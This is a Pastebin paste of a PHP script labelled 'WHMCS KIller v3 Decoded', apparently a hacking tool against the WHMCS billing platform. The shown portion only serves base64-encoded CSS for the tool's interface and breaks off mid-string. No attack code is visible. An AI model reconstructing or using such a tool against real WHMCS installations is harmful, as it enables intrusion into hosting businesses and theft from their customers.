daily pastebin goal
59%
SHARE
TWEET

WHMCS V3

5P4D3 Jan 20th, 2017 832 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. //WHMCS KIller v3 Decoded By N!nj@ X
  3. //Fb.com/n9nj2.X or fb.com/n9nj2.Xa
  4. //Death Adders Crew
  5. $currentFile = $_SERVER["SCRIPT_NAME"];
  6.   $parts = Explode('/', $currentFile);
  7.   $currentFile = $parts[count($parts) -1];
  8.    if ($_GET['css']==1){   header("Content-type: text/css", true);
  9.   echo (str_replace('%file%', $currentFile,base64_decode('LyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCg0KCVJFU0VULkNTUw0KCXZlcnNpb246IDEuMA0KCXVwZGF0ZWQ6IDIwMDktMDItMDIsIDExOjQ3IEdNVCsxDQoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ICovDQoNCi8qID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpSRVNFVA0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gKi8NCg0KKiB7bWFyZ2luOjA7IHBhZGRpbmc6MDt9DQpodG1sLCBib2R5LCBkaXYsIHNwYW4sIGFwcGxldCwgb2JqZWN0LCBpZnJhbWUsIGgxLCBoMiwgaDMsIGg0LCBoNSwgaDYsIHAsIGJsb2NrcXVvdGUsIHByZSwgYSwgYWJiciwgYWNyb255bSwgYWRkcmVzcywgY2l0ZSwgY29kZSwgZGVsLCBkZm4sIGVtLCBpbWcsIGlucywga2JkLCBxLCBzYW1wLCBzdHJvbmcsIHN1Yiwgc3VwLCB0dCwgdmFyLCBkbCwgZHQsIGRkLCBvbCwgdWwsIGxpLCBmaWVsZHNldCwgZm9ybSwgbGFiZWwsIGxlZ2VuZCwgdGFibGUsIGNhcHRpb24sIHRib2R5LCB0Zm9vdCwgdGhlYWQsIHRyLCB0aCwgdGQge2JvcmRlcjowOyBvdXRsaW5lOjA7IHZlcnRpY2FsLWFsaWduOmJhc2VsaW5lOyBiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O30NCi5oaWRkZW4ge3Bvc2l0aW9uOmFic29sdXRlOyBsZWZ0Oi0xMDAwZW07IHRvcDotMTAwMGVtOyB3aWR0aDoxcHg7IGhlaWdodDoxcHg7IG92ZXJmbG93OmhpZGRlbjt9DQoubm9zY3JlZW4ge2Rpc3BsYXk6bm9uZTt9DQouYm94IHttaW4taGVpZ2h0OjFweDt9DQouYm94OmFmdGVyIHtkaXNwbGF5OmJsb2NrOyB2aXNpYmlsaXR5OmhpZGRlbjsgY2xlYXI6Ym90aDsgbGluZS1oZWlnaHQ6MDsgZm9udC1zaXplOjA7IGNvbnRlbnQ6Ii4iO30NCi5maXgge2Zsb2F0Om5vbmU7IGNsZWFyOmJvdGg7IHdpZHRoOjA7IGhlaWdodDowOyBtYXJnaW46MDsgcGFkZGluZzowOyBib3JkZXI6MDsgbGluZS1oZWlnaHQ6MDsgZm9udC1zaXplOjA7fQ0KLmYtbGVmdCB7ZmxvYXQ6bGVmdCAhaW1wb3J0YW50O30NCi5mLXJpZ2h0IHtmbG9hdDpyaWdodCAhaW1wb3J0YW50O30NCi50LWxlZnQge3RleHQtYWxpZ246bGVmdCAhaW1wb3J0YW50O30NCi50LWNlbnRlciB7dGV4dC1hbGlnbjpjZW50ZXIgIWltcG9ydGFudDt9DQoudC1yaWdodCB7dGV4dC1hbGlnbjpyaWdodCAhaW1wb3J0YW50O30NCi50LWp1c3RpZnkge3RleHQtYWxpZ246anVzdGlmeSAhaW1wb3J0YW50O30NCi52YS10b3Age3ZlcnRpY2FsLWFsaWduOnRvcCAhaW1wb3J0YW50O30NCi52YS1taWRkbGUge3ZlcnRpY2FsLWFsaWduOm1pZGRsZSAhaW1wb3J0YW50O30NCi52YS1ib3R0b20ge3ZlcnRpY2FsLWFsaWduOmJvdHRvbSAhaW1wb3J0YW50O30NCi5ub20ge21hcmdpbjowICFpbXBvcnRhbnQ7fQ0KLm5vbXQge21hcmdpbi10b3A6MCAhaW1wb3J0YW50O30NCi5ub21iIHttYXJnaW4tYm90dG9tOjAgIWltcG9ydGFudDt9')));
  10.   exit;
  11.   }    if ($_GET['css']==2){   header("Content-type: text/css", true);
  12.   echo (str_replace('%file%', $currentFile,base64_decode('LyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCg0KCVNUWUxFLkNTUw0KCXZlcnNpb246IDEuNg0KCXVwZGF0ZWQ6IDIwMDktMDMtMDYsIDEzOjAwIEdNVCsxDQoNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ICovDQoNCi8qID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpIVE1MIC0gc3R5bGVzDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSAqLw0KDQpib2R5IHtiYWNrZ3JvdW5kLWNvbG9yOiNlYWVhZWE7IGNvbG9yOiMzMDMwMzA7fQ0KYSB7Y29sb3I6IzAwODVjYzt9DQphOmhvdmVyLCBhOmFjdGl2ZSwgYTpmb2N1cyB7Y29sb3I6I2RmMDAwMDt9DQojY29udGVudCBoMiB7Y29sb3I6IzAwODVjYzt9DQojY29udGVudCB0YWJsZSB7Ym9yZGVyOjJweCBzb2xpZCAjY2ZjZmNmO30NCiNjb250ZW50IHRhYmxlIHRoIHtib3JkZXItcmlnaHQ6MXB4IHNvbGlkICMwMDc0QjM7IGJhY2tncm91bmQtY29sb3I6IzAwODVjYzsgY29sb3I6I2ZmZjt9DQojY29udGVudCB0YWJsZSB0ZCB7Ym9yZGVyOjFweCBzb2xpZCAjY2ZjZmNmO30NCiNjb250ZW50IHRhYmxlIHRyLmJnIHRkIHtiYWNrZ3JvdW5kLWNvbG9yOiNlOGY2ZmY7fQ0KI2NvbnRlbnQgdGFibGUgdGQuYmcyICB7YmFja2dyb3VuZC1jb2xvcjojZThmNmZmO30NCiNjb250ZW50IGRsIGR0IHtjb2xvcjojZGYwMDAwO30NCiNjb250ZW50IGZpZWxkc2V0IHtib3JkZXI6MXB4IHNvbGlkICNjY2M7fQ0KI2NvbnRlbnQgbGVnZW5kIHtiYWNrZ3JvdW5kOiNGRkY7IGNvbG9yOiMwMDg1Y2M7fQ0KI2NvbnRlbnQgYWNyb255bSwgI2NvbnRlbnQgYWJiciwgI2NvbnRlbnQgLmhlbHAge2JvcmRlci1ib3R0b206MXB4IGRvdHRlZCAjY2ZjZmNmO30NCg0KLyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCkhUTUwgLSB3aXRob3V0IHN0eWxlcw0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gKi8NCg0KdGFibGUubm9zdHlsZSB0aCwgZGwubm9zdHlsZSBkdCB7Y29sb3I6IzMwMzAzMCAhaW1wb3J0YW50O30NCg0KLyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCkxBWU9VVA0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gKi8NCg0KI3RyYXkge2JhY2tncm91bmQtY29sb3I6IzMwMzAzMDsgY29sb3I6I2NmY2ZjZjt9DQojdHJheSBhLCAjdHJheSBzdHJvbmcge2NvbG9yOiNmZmY7fQ0KI3RyYXkgYTpob3ZlciwgI3RyYXkgYTphY3RpdmUsICN0cmF5IGE6Zm9jdXMge2NvbG9yOiNiNGUzZmY7fQ0KI21lbnUge2JhY2tncm91bmQtY29sb3I6IzAwODVjYzt9DQojbWVudSB1bCBsaSBhIHtiYWNrZ3JvdW5kLWNvbG9yOiNmZmY7IGNvbG9yOiMzMDMwMzA7fQ0KI21lbnUgdWwgbGkgYSBzcGFuIHtiYWNrZ3JvdW5kLWNvbG9yOiNGRkY7fQ0KI21lbnUgdWwgbGkgYTpob3ZlciwgI21lbnUgdWwgbGkgYTphY3RpdmUsICNtZW51IHVsIGxpIGE6Zm9jdXMsICNtZW51IHVsIGxpI21lbnUtYWN0aXZlIGEge2JhY2tncm91bmQtY29sb3I6I0ZGRjsgY29sb3I6I2RmMDAwMDt9DQojbWVudSB1bCBsaSBhOmhvdmVyIHNwYW4sICNtZW51IHVsIGxpI21lbnUtYWN0aXZlIGEgc3BhbiB7YmFja2dyb3VuZC1jb2xvcjojRkZGO30NCiNtZW51IHVsIGxpI21lbnUtYWN0aXZlIGEge2NvbG9yOiMwMDg1Y2M7fQ0KI21lbnUgdWwuZi1yaWdodCBhIHtjb2xvcjojZGYwMDAwO30NCiNjb250ZW50IHtib3JkZXI6MXB4IHNvbGlkICNhZmFmYWY7IGJhY2tncm91bmQ6I2ZmZjt9DQoNCiNmb290ZXIge2NvbG9yOiM3MDcwNzA7fQ0KI2Zvb3RlciBhIHtjb2xvcjojNzA3MDcwO30NCiNmb290ZXIgYTpob3ZlciwgI2Zvb3RlciBhOmFjdGl2ZSwgI2Zvb3RlciBhOmZvY3VzIHtjb2xvcjojMzAzMDMwO30NCg0KLyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCk9USEVSUw0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gKi8NCg0KI2FzaWRlICNsb2dvIGltZyB7Ym9yZGVyOjFweCBzb2xpZCAjYmZiZmJmO30NCiNhc2lkZSAjc2VhcmNoIGZpZWxkc2V0IGEge2NvbG9yOiMzMDMwMzA7fQ0KI2FzaWRlICNzZWFyY2ggZmllbGRzZXQge2JvcmRlcjoxcHggc29saWQgI2JmYmZiZjt9DQojYXNpZGUgI3NlYXJjaCBmaWVsZHNldCBhOmhvdmVyLCAjYXNpZGUgI3NlYXJjaCBmaWVsZHNldCBhOmFjdGl2ZSwgI2FzaWRlICNzZWFyY2ggZmllbGRzZXQgYTpmb2N1cyB7Y29sb3I6I2RmMDAwMDt9DQojYXNpZGUgI2J0bi1jcmVhdGUgYSB7YmFja2dyb3VuZC1jb2xvcjojZmZmOyBjb2xvcjojMzAzMDMwO30NCiNhc2lkZSAjYnRuLWNyZWF0ZSBhIHNwYW4ge2JhY2tncm91bmQtY29sb3I6I2ZmZjt9DQojYXNpZGUgdWwgbGkgYSB7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2NmY2ZjZjsgY29sb3I6IzMwMzAzMDt9DQojYXNpZGUgdWwgbGkjc3VibWVudS1hY3RpdmUgYSB7YmFja2dyb3VuZC1jb2xvcjojZGYwMDAwOyBjb2xvcjojZmZmO30NCiNhc2lkZSB1bCBsaSBhOmhvdmVyLCAjYXNpZGUgdWwgbGkgYTphY3RpdmUsICNhc2lkZSB1bCBsaSBhOmZvY3VzIHtjb2xvcjojZGYwMDAwO30NCiNhc2lkZSB1bCB1bCBsaSBhLCAjYXNpZGUgdWwgbGkjc3VibWVudS1hY3RpdmUgdWwgbGkgYSB7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2NmY2ZjZjsgYmFja2dyb3VuZC1jb2xvcjojZjVmNWY1OyBjb2xvcjojMzAzMDMwO30NCiNhc2lkZSB1bCBsaSB1bCBsaSBhIHtiYWNrZ3JvdW5kLWNvbG9yOiNlM2UzZTM7fQ0KI2FzaWRlIHVsIHVsIGxpIGE6aG92ZXIsICNhc2lkZSB1bCB1bCBsaSBhOmFjdGl2ZSwgI2FzaWRlIHVsIHVsIGxpIGE6Zm9jdXMsICNhc2lkZSB1bCBsaSNzdWJtZW51LWFjdGl2ZSB1bCBsaSBhOmhvdmVyLCAjYXNpZGUgdWwgbGkjc3VibWVudS1hY3RpdmUgdWwgbGkgYTphY3RpdmUsICNhc2lkZSB1bCBsaSNzdWJtZW51LWFjdGl2ZSB1bCBsaSBhOmZvY3VzIHtjb2xvcjojZGYwMDAwO30NCiNjb250ZW50IGgxIHtiYWNrZ3JvdW5kLWNvbG9yOiMzMDMwMzA7IGNvbG9yOiNmZmY7fQ0KI2NvbnRlbnQgLnRhYnMge2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNjZmNmY2Y7fQ0KI2NvbnRlbnQgLnRhYnMgYSB7Y29sb3I6IzMwMzAzMDt9DQojY29udGVudCAudGFicyBhIHNwYW4ge2NvbG9yOiMzMDMwMzA7fQ0KI2NvbnRlbnQgLnRhYnMgLnVpLXRhYnMtc2VsZWN0ZWQgYSB7Y29sb3I6I2ZmZjt9DQojY29udGVudCAudGFicyAudWktdGFicy1zZWxlY3RlZCBhIHNwYW4ge2NvbG9yOiNmZmY7fQ0KLmhpZ2gge2NvbG9yOiNkZjAwMDA7fQ0KLmhpZ2gtYmcge2JhY2tncm91bmQ6I0ZGQjt9DQoubG93IHtjb2xvcjojNzA3MDcwO30NCg0KLyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCk1FU1NBR0VTDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSAqLw0KDQoubXNnLndhcm5pbmcge2JvcmRlcjoycHggc29saWQgI0YyREQ4QzsgYmFja2dyb3VuZC1jb2xvcjojRkZGNUNDO30NCi5tc2cud2FybmluZyBhIHtjb2xvcjojZGYwMDAwO30gLm1zZy53YXJuaW5nIGE6aG92ZXIsIC5tc2cud2FybmluZyBhOmFjdGl2ZSwgLm1zZy53YXJuaW5nIGE6Zm9jdXMge2NvbG9yOiMzMDMwMzA7fQ0KLm1zZy5pbmZvIHtib3JkZXI6MnB4IHNvbGlkICNCOEUyRkI7IGJhY2tncm91bmQtY29sb3I6I0U4RjZGRjt9DQoubXNnLmRvbmUge2JvcmRlcjoycHggc29saWQgI0JCREY4RDsgYmFja2dyb3VuZC1jb2xvcjojRUFGN0Q5O30NCi5tc2cuZXJyb3Ige2JvcmRlcjoycHggc29saWQgI0ZGQUVBRTsgYmFja2dyb3VuZC1jb2xvcjojRkVFQkVCO30NCg==')));
  13.   exit;
  14.   }  if ($_GET['css']==3){   header("Content-type: text/css", true);
  15.   echo (str_replace('%file%', $currentFile,base64_decode('I2NvbHMge21hcmdpbjoxNXB4OyBiYWNrZ3JvdW5kOm5vbmU7fQ0KI2FzaWRlLCAjdHJheSAuaWNvLWNvbDEge2Rpc3BsYXk6bm9uZTt9DQo=')));
  16.   exit;
  17.   }  if ($_GET['css']==4){   header("Content-type: text/css", true);
  18.   echo (str_replace('%file%', $currentFile,base64_decode('I2NvbHMge3Bvc2l0aW9uOnJlbGF0aXZlOyBtYXJnaW46MTVweCAwOyBwYWRkaW5nLXJpZ2h0OjE1cHg7IGJhY2tncm91bmQ6dXJsKCIlZmlsZSU/aW1nPTUiKSAyMzBweCAwIHJlcGVhdC15O30NCiNhc2lkZSB7ZmxvYXQ6bGVmdDsgd2lkdGg6MjE1cHg7IG1hcmdpbi1yaWdodDowO30NCiNjb250ZW50IHttYXJnaW4tbGVmdDoyMzJweDsgb3ZlcmZsb3c6dmlzaWJsZTt9DQojdHJheSAuaWNvLWNvbDIge2Rpc3BsYXk6bm9uZTt9DQoNCmh0bWw+Ym9keSAjYXNpZGUge21hcmdpbi1yaWdodDoyMHB4O30NCmh0bWw+Ym9keSAjY29udGVudCB7bWFyZ2luLWxlZnQ6MDsgb3ZlcmZsb3c6aGlkZGVuO30=')));
  19.   exit;
  20.   }    if ($_GET['css']==5){   header("Content-type: text/css", true);
  21.   echo (str_replace('%file%', $currentFile,base64_decode('LyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCg0KCU1BSU4uQ1NTDQoJdmVyc2lvbjogMS43DQoJdXBkYXRlZDogMjAwOS0wMy0xNCwgMTI6NDQgR01UKzENCg0KPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0gKi8NCg0KLyogPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0NCkhUTUwgLSBzdHlsZXMNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ICovDQoNCmJvZHkge2ZvbnQ6MC44ZW0vMS41ICJhcmlhbCIsIHNhbnMtc2VyaWY7fQ0KaDEsIGgyLCBoMywgaDQsIGg1LCBoNiwgYWRkcmVzcywgYmxvY2txdW90ZSwgZGwsIGZpZWxkc2V0LCBvbCwgcCwgdGFibGUsIHVsIHttYXJnaW46MTVweCAwO30NCiNjb250ZW50IGgxIHtmb250LXNpemU6MTgwJTt9DQojY29udGVudCBoMiB7Zm9udC1zaXplOjE2MCU7fQ0KI2NvbnRlbnQgaDMge2ZvbnQtc2l6ZToxNDAlO30NCiNjb250ZW50IGg0IHtmb250LXNpemU6MTIwJTt9DQojY29udGVudCBoNSwgaDYge2ZvbnQtc2l6ZToxMDAlO30NCiNjb250ZW50IHRhYmxlIHttYXJnaW46MDsgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO30NCg0KDQojY29udGVudCAgdGQge3BhZGRpbmc6NXB4IDVweDt9DQojY29udGVudCB0YWJsZSB0aCB7dGV4dC1hbGlnbjpjZW50ZXI7IHZlcnRpY2FsLWFsaWduOm1pZGRsZTsgZm9udC13ZWlnaHQ6Ym9sZDt9DQojY29udGVudCB1bCB7bWFyZ2luOjE1cHggMDsgbGlzdC1zdHlsZTpub25lO30NCiNjb250ZW50IHVsIGxpIHtwYWRkaW5nLWxlZnQ6MTVweDsgYmFja2dyb3VuZDp1cmwoIiVmaWxlJT9pbWc9MjQiKSAwIDRweCBuby1yZXBlYXQ7fQ0KI2NvbnRlbnQgdWwgdWwge21hcmdpbjowIDAgMCAxMHB4O30NCiNjb250ZW50IHVsIHVsIGxpIHtwYWRkaW5nLWxlZnQ6MTVweDsgYmFja2dyb3VuZDp1cmwoIiVmaWxlJT9pbWc9MjMiKSAwIDRweCBuby1yZXBlYXQ7fQ0KI2NvbnRlbnQgb2wge21hcmdpbjoxNXB4IDAgMTVweCAzMHB4OyBsaXN0LXN0eWxlLXR5cGU6ZGVjaW1hbDt9DQojY29udGVudCBvbCBvbCB7bWFyZ2luOjAgMCAwIDIwcHg7fQ0KI2NvbnRlbnQgb2wgb2wgbGkge2xpc3Qtc3R5bGUtdHlwZTpsb3dlci1hbHBoYTt9DQojY29udGVudCBkbCB7Y2xlYXI6Ym90aDt9DQojY29udGVudCBkbCBkdCB7Zm9udC13ZWlnaHQ6Ym9sZDt9DQojY29udGVudCBkbCBkZCB7bWFyZ2luOjAgMCA1cHggMDt9DQojY29udGVudCBmaWVsZHNldCB7cG9zaXRpb246cmVsYXRpdmU7IG1hcmdpbjoxMHB4IDA7IHBhZGRpbmc6MTBweDt9DQojY29udGVudCBsZWdlbmQge2ZvbnQtc2l6ZToxMjAlOyBmb250LXdlaWdodDpib2xkO30NCiNjb250ZW50IGNvZGUge2ZvbnQtZmFtaWx5OiIiLG1vbm9zcGFjZTt9DQojY29udGVudCAuaGVscCB7Y3Vyc29yOmhlbHA7fQ0KDQovKiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KSFRNTCAtIHdpdGhvdXQgc3R5bGVzDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSAqLw0KDQp0YWJsZS5ub3N0eWxlLCB0YWJsZS5ub3N0eWxlIHRoLCB0YWJsZS5ub3N0eWxlIHRkIHtib3JkZXI6MCAhaW1wb3J0YW50O30NCnRhYmxlLm5vc3R5bGUgdGgge2JhY2tncm91bmQ6bm9uZSAhaW1wb3J0YW50OyB0ZXh0LWFsaWduOmxlZnQgIWltcG9ydGFudDt9DQp0YWJsZS5ub3N0eWxlIHRoLCB0YWJsZS5ub3N0eWxlIHRkIHtwYWRkaW5nOjNweCA1cHggIWltcG9ydGFudDt9DQp1bC5ub3N0eWxlIHttYXJnaW46MTVweCAwIDE1cHggMjBweCAhaW1wb3J0YW50OyBsaXN0LXN0eWxlLXR5cGU6c3F1YXJlICFpbXBvcnRhbnQ7fQ0KdWwubm9zdHlsZSB1bCB7bWFyZ2luOjAgMCAwIDI1cHggIWltcG9ydGFudDsgbGlzdC1zdHlsZS10eXBlOnNxdWFyZSAhaW1wb3J0YW50O30NCnVsLm5vc3R5bGUgbGkge3BhZGRpbmc6MCAhaW1wb3J0YW50OyBiYWNrZ3JvdW5kOm5vbmUgIWltcG9ydGFudDt9DQpkbC5ub3N0eWxlIGR0IHtmb250LXdlaWdodDpib2xkICFpbXBvcnRhbnQ7fQ0KZGwubm9zdHlsZSBkZCB7bWFyZ2luOjAgIWltcG9ydGFudDt9DQoNCi8qID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQpMQVlPVVQNCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09ICovDQoNCiNtYWluIHttaW4td2lkdGg6OTgwcHg7IHdpZHRoOmV4cHJlc3Npb24oZG9jdW1lbnQuYm9keS5jbGllbnRXaWR0aCA8IDk4MD8gIjk4MHB4IiA6ICJhdXRvIiApO30NCiN0cmF5IHtwYWRkaW5nOjEycHggMTVweDsgYmFja2dyb3VuZDp1cmwoIiVmaWxlJT9pbWc9MjIiKSAwIDAgcmVwZWF0LXg7IGZvbnQ6ODUlLzEuMiAidGFob21hIixzYW5zLXNlcmlmO30NCiN0cmF5IHAge21hcmdpbjowO30NCiN0cmF5IHAuZi1sZWZ0IHt3aWR0aDo1MCU7fQ0KI3RyYXkgI2xvZ291dCB7cGFkZGluZy1sZWZ0OjE4cHg7IGJhY2tncm91bmQ6dXJsKCIlZmlsZSU/aW1nPTIxIikgMCA1MCUgbm8tcmVwZWF0OyB0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7fQ0KI3RyYXkgI3N3aXRjaGVyIHttYXJnaW4tcmlnaHQ6MTVweDt9DQojdHJheSAjc3dpdGNoZXIgaW1nIHtkaXNwbGF5OmJsb2NrOyBmbG9hdDpsZWZ0OyB3aWR0aDoxNnB4OyBoZWlnaHQ6MTZweDsgYm9yZGVyOjA7fQ0KI21lbnUge3BhZGRpbmc6MTVweCAxNXB4IDEzcHggMTVweDsgYmFja2dyb3VuZDp1cmwoIiVmaWxlJT9pbWc9MTMiKSAwIDAgcmVwZWF0LXg7fQ0KI21lbnUgdWwge21hcmdpbjowOyBwYWRkaW5nOjA7IGxpc3Qtc3R5bGUtdHlwZTpub25lO30NCiNtZW51IHVsIGxpIHtkaXNwbGF5OmlubGluZTsgbWFyZ2luOjA7IHBhZGRpbmc6MDt9DQojbWVudSB1bCBsaSBhIHtmbG9hdDpsZWZ0OyBtYXJnaW4tcmlnaHQ6NXB4OyBwYWRkaW5nLWxlZnQ6NXB4OyBiYWNrZ3JvdW5kOnVybCgiJWZpbGUlP2ltZz0xMSIpIDAgMCBuby1yZXBlYXQ7IHRleHQtZGVjb3JhdGlvbjpub25lOyBjdXJzb3I6cG9pbnRlcjt9DQojbWVudSB1bCBsaSBhIHNwYW4ge2Zsb2F0OmxlZnQ7IGRpc3BsYXk6YmxvY2s7IHBhZGRpbmc6N3B4IDE1cHggOXB4IDhweDsgYmFja2dyb3VuZDp1cmwoIiVmaWxlJT9pbWc9MTIiKSAxMDAlIDAgbm8tcmVwZWF0O30NCiNtZW51IHVsIGxpIGE6aG92ZXIsICNtZW51IHVsIGxpI21lbnUtYWN0aXZlIGEge2JhY2tncm91bmQ6dXJsKCIlZmlsZSU/aW1nPTExIikgMCAtMzVweCBuby1yZXBlYXQ7fQ0KI21lbnUgdWwgbGkgYTpob3ZlciBzcGFuLCAjbWVudSB1bCBsaSNtZW51LWFjdGl2ZSBhIHNwYW4ge2JhY2tncm91bmQ6dXJsKCIlZmlsZSU/aW1nPTEyIikgMTAwJSAtMzVweCBuby1yZXBlYXQ7fQ0KI21lbnUgdWwgbGkjbWVudS1hY3RpdmUgYSB7Zm9udC13ZWlnaHQ6Ym9sZDt9DQojY29udGVudCB7cGFkZGluZzoyMHB4OyBvdmVyZmxvdzpoaWRkZW47fQ0KI2Zvb3RlciB7Y2xlYXI6Ym90aDsgcGFkZGluZzoxNXB4OyBiYWNrZ3JvdW5kOnVybCgiJWZpbGUlP2ltZz0xNCIpIDAgMCByZXBlYXQteDsgZm9udDo4NSUvMS4yICJ0YWhvbWEiLHNhbnMtc2VyaWY7fQ0KI2Zvb3RlciBwIHttYXJnaW46MDt9DQoNCi8qID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQovKiA9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KT1RIRVJTDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PSAqLw0KDQojYXNpZGUgLnBhZGRpbmcge3BhZGRpbmctbGVmdDoxNXB4O30NCiNhc2lkZSAjbG9nbyB7bWFyZ2luOjAgMCAxNXB4IDA7fQ0KI2FzaWRlICNsb2dvIGltZyB7ZGlzcGxheTpibG9jazsgd2lkdGg6MjAwcHg7fQ0KI2FzaWRlICNzZWFyY2ggZmllbGRzZXQge3BhZGRpbmc6N3B4IDEwcHg7fQ0KI2FzaWRlICNzZWFyY2ggZmllbGRzZXQgcCB7bWFyZ2luOjA7fQ0KI2FzaWRlICNzZWFyY2ggZmllbGRzZXQgbGVnZW5kIHtmb250LXdlaWdodDpib2xkO30NCiNhc2lkZSAjc2VhcmNoIGZpZWxkc2V0IC5pbnB1dC10ZXh0IHt3aWR0aDoxMzBweDt9DQojYXNpZGUgI3NlYXJjaCBmaWVsZHNldCAjc2VhcmNoLW9wdGlvbnMge21hcmdpbi10b3A6MTBweDt9DQojYXNpZGUgI2J0bi1jcmVhdGUge21hcmdpbjowIDAgMTVweCAwO30NCiNhc2lkZSAjYnRuLWNyZWF0ZSBhIHtmbG9hdDpsZWZ0OyBwYWRkaW5nLWxlZnQ6MjdweDsgaGVpZ2h0OjM3cHg7IG92ZXJmbG93OmhpZGRlbjsgYmFja2dyb3VuZDp1cmwoIiVmaWxlJT9pbWc9MiIpIDAgMCBuby1yZXBlYXQ7IHRleHQtZGVjb3JhdGlvbjpub25lOyBmb250LXdlaWdodDpib2xkOyBjdXJzb3I6cG9pbnRlcjt9DQojYXNpZGUgI2J0bi1jcmVhdGUgYSBzcGFuIHtmbG9hdDpsZWZ0OyBkaXNwbGF5OmJsb2NrOyB3aWR0aDoxNjNweDsgcGFkZGluZzo4cHggMCAxMHB4IDEwcHg7IGJhY2tncm91bmQ6dXJsKCIlZmlsZSU/aW1nPTMiKSAtMnB4IDAgbm8tcmVwZWF0O30NCiNhc2lkZSAjYnRuLWNyZWF0ZSBhOmhvdmVyIHtiYWNrZ3JvdW5kLXBvc2l0aW9uOjAgLTM3cHg7fQ0KI2FzaWRlIHVsIHt3aWR0aDoyMTVweDsgbWFyZ2luOjAgMCAxNXB4IDA7IGxpc3Qtc3R5bGU6bm9uZTt9DQojYXNpZGUgdWwgbGkge2Rpc3BsYXk6aW5saW5lO30NCiNhc2lkZSB1bCBsaSBhIHtkaXNwbGF5OmJsb2NrOyB3aWR0aDoxODVweDsgcGFkZGluZzo0cHggMTVweDsgdGV4dC1kZWNvcmF0aW9uOm5vbmU7fQ0KI2FzaWRlIHVsIGxpI3N1Ym1lbnUtYWN0aXZlIGEge3dpZHRoOjE5OHB4OyBib3JkZXI6MDsgYmFja2dyb3VuZDp1cmwoIiVmaWxlJT9pbWc9MTUiKSAxMDAlIDUwJSBuby1yZXBlYXQ7IGZvbnQtd2VpZ2h0OmJvbGQ7IHotaW5kZXg6OTk5O30NCiNhc2lkZSB1bCB1bCB7bWFyZ2luOjA7IHBvc2l0aW9uOnN0YXRpYzt9DQojYXNpZGUgdWwgdWwgbGkgYSwgI2FzaWRlIHVsIGxpI3N1Ym1lbnUtYWN